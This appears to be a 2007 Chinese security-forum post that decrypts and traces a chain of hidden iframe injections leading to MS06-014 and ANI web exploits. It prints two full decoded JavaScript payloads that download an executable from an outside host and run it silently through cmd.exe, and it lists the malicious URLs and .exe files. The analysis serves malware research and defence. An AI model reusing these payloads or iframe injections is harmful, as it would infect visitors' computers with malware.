解密这种粗活还是我来吧
——————————————————————————————————————————————————————
<iframe src=http://remix2008.myrice.com/gz.htm width=0 height=0></iframe>
<iframe src="http://www.hao123hao123.cn/ok/index.htm" width="0" height="0" frameborder="0"></iframe>
<iframe src=http://www.n85853.cn/index.htm width=0 height=0></iframe>
<iframe src=http://www.66ki.cn/index.htm width=100 height=0></iframe>
——————————————————————————————————————————————————————
http://remix2008.myrice.com/gz.htm：
MS06-014+ANI网马，挂了：
http://remix2008.myrice.com/m2006.bmp
指向于：http://remix2008.myrice.com/smdd.exe
里面还有<iframe src=http://remix2008.myrice.com/gz2.htm width=0 height=0></iframe>
同样是MS06-014+ANI网马：
http://remix2008.myrice.com/m2005.bmp
挂上了：http://remix2008.myrice.com/web.exe
——————————————————————————————————————————————————————
http://www.hao123hao123.cn/ok/index.htm：
指向了： <iframe src="http://www.qq881.cn/bbs/1881.htm" width="0" height="0" frameborder="0"></iframe>
里面有三个：
<iframe src="http://www.955922.cn/web.htm" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.ip528.cn/" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.chammm.cn/index.htm" width="0" height="0" frameborder="0"></iframe>
第一、http://www.955922.cn/web.htm：
指向http://www.18dmm.com/dm/kehu0738.htm
用编码加密，转换为GB2312后可得源代码：里面有两个ANI的：
http://18dmm.com/arp/1.jpg
http://18dmm.com/arp/2.jpg
再挂上一个网页http://www.18dmm.com/arp/0614.htm，解密得：- function gn(n){var number = Math.random()*n;return Math.round(number)+'.exe';}try{aaa="obj";bbb="ect";ccc="Adodb.";ddd="Stream";eee="Microsoft.";fff="XMLHTTP";lj='http://www.18dmm.com/arp/down.exe'; var df=document.createElement(aaa+bbb); df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var x=df.CreateObject(eee+fff,""); var S=df.CreateObject(ccc+ddd,""); S.type=1; x.open("GET", lj,0); x.send(); mz1=gn(1000); var F=df.CreateObject("Scripting.FileSystemObject","");var tmp=F.GetSpecialFolder(0);var t2;t2=F.BuildPath(tmp,"rising"+mz1);mz1= F.BuildPath(tmp,mz1);S.Open();S.Write(x.responseBody);S.SaveToFile(mz1,2);S.Close();F.MoveFile(mz1,t2);var Q=df.CreateObject("Shell.Application","");exp1=F.BuildPath(tmp+'\\system32','cmd.exe');Q.ShellExecute(exp1,' /c '+t2,"","open",0);}catch(i){i=1;}
第二、http://www.ip528.cn/：
指向了：http://www.08325.cn/wm/xin4.htm?110；
ANI一个：http://www.08325.cn/wm/d.jpg，
还有一个加密的MS06-014：http://www.08325.cn/wm/0614.js，解密得：- function gn(n) { var number = Math.random()*n; return '~tmp'+'.tmp'; } try { dl='http://www.08325.cn/wm/down.exe'; var df=document.createElement("object"); df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var x=df.CreateObject("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P",""); var S=df.CreateObject("Adodb.Stream",""); S.type=1; x.open("GET", dl,0); x.send(); fname1=gn(10000); var F=df.CreateObject("Scripting.FileSystemObject",""); var tmp=F.GetSpecialFolder(0); fname1= F.BuildPath(tmp,fname1); S.Open();S.Write(x.responseBody); S.SaveToFile(fname1,2); S.Close(); var Q=df.CreateObject("Shell.Application",""); exp1=F.BuildPath(tmp+'\\system32','cmd.exe'); Q.ShellExecute(exp1,' /c '+fname1,"","open",0); } catch(i) { i=1; }
第三、http://www.chammm.cn/index.htm：
指向了：http://s.gcuj.com/bd.htm?268002，
ANI一个：http://s.gcuj.com/t.js，
外加MS06-14一个：http://s.gcuj.com/1.htm，
都是挂了：http://t.gcuj.com/0.exe；
——————————————————————————————————————————————————————
http://www.n85853.cn/index.htm ：
指向了：http://www.chenxinsms.com；里面又有两个：
<iframe src="http://www.bz1000y.cn/" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.1008y.cn/" width="0" height="0" frameborder="0"></iframe>
第一、http://www.bz1000y.cn/：
指向了：http://www.08325.cn/wm/xin4.htm?666，和上面的http://www.08325.cn/wm/xin4.htm?110是一样的；
第二、http://www.1008y.cn/
指向了：http://www.18dmm.com/dm/kehu0749.htm?001，也是和上面的http://www.18dmm.com/dm/kehu0738.htm是一样的
——————————————————————————————————————————————————————
http://www.66ki.cn/index.htm：
又是ANI一个：http://www.66ki.cn/xskj.jpg，还有一个MS06-014：http://www.66ki.cn/news.htm，两个都挂上了http://www.66ki.cn/hua.exe；
——————————————————————————————————————————————————————
一堆东西，麻烦！另外ANI+MS06-014已经成为了网页挂马的主流了
——————————————————————————————————————————————————————
上文中出现的ANI+MS06-014网马文件：
http://remix2008.myrice.com/gz.htm
http://remix2008.myrice.com/gz2.htm
http://remix2008.myrice.com/m2006.bmp
http://remix2008.myrice.com/m2005.bmp
http://www.18dmm.com/dm/kehu0738.htm
http://18dmm.com/arp/1.jpg
http://18dmm.com/arp/2.jpg
http://www.18dmm.com/arp/0614.htm
http://www.08325.cn/wm/d.jpg
http://www.08325.cn/wm/0614.js
http://s.gcuj.com/t.js
http://s.gcuj.com/1.htm
http://www.08325.cn/wm/xin4.htm?666
http://www.18dmm.com/dm/kehu0749.htm?001
http://www.66ki.cn/xskj.jpg
http://www.66ki.cn/news.htm
上文中出现的挂病毒主文件：
http://remix2008.myrice.com/smdd.exe
http://remix2008.myrice.com/web.exe
http://www.18dmm.com/arp/down.exe
http://www.08325.cn/wm/down.exe
http://t.gcuj.com/0.exe
http://www.66ki.cn/hua.exe
[ 本帖最后由 dikex 于 2007-5-11 13:30 编辑 ] |
楼主: moonsilver
发表于 2007-5-11 11:40:30
发表于 2007-5-11 12:09:04
发表于 2007-5-11 13:30:25